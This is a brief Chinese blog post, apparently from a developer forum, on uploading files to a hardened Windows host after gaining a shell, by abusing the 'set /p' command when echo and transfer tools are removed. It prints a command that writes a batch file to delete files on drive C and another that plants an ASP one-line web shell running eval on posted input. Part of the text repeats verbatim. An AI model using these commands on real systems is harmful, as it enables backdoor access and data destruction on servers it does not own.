博客介绍了主机安全策略设置，禁止本地主机连接对方端口，允许他人连接自身80端口，去除部分服务，仅提供web服务。还探讨了在获得主机shell后上传文件的办法，涉及利用set命令及JavaScript代码。
利用安全策略禁止本地主机连接去对方任何端口！
然后在允许别人连接自己的80端口！
把debug/ftp/tftp/its/start/net/net1/echo/edit去掉！本地只提供web服务！
关闭/过滤所有端口,现在得到这个主机一个shell，有办法上穿文件？
呵呵 改内核去掉了echo？
别怕 我们还有set 嘛
set/p allyesno=del c:/.>allyesno.bat
如果遇到转义字符就是^了 嘎嘎。。。
set/p allyesno=^<SCRIPT RUNAT^=SERVER LANGUAGE^=JAVASCRIPT^>eval^(Request.form^('^#'^)+''^)^</SCRIPT^>>allyesno.asp
然后在允许别人连接自己的80端口！
把debug/ftp/tftp/its/start/net/net1/echo/edit去掉！本地只提供web服务！
关闭/过滤所有端口,现在得到这个主机一个shell，有办法上穿文件？
呵呵 改内核去掉了echo？
别怕 我们还有set 嘛
set/p allyesno=del c:/.>allyesno.bat
如果遇到转义字符就是^了 嘎嘎。。。
set/p allyesno=^<SCRIPT RUNAT^=SERVER LANGUAGE^=JAVASCRIPT^>eval^(Request.form^('^#'^)+''^)^</SCRIPT^>>allyesno.asp
扫一扫
1111
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
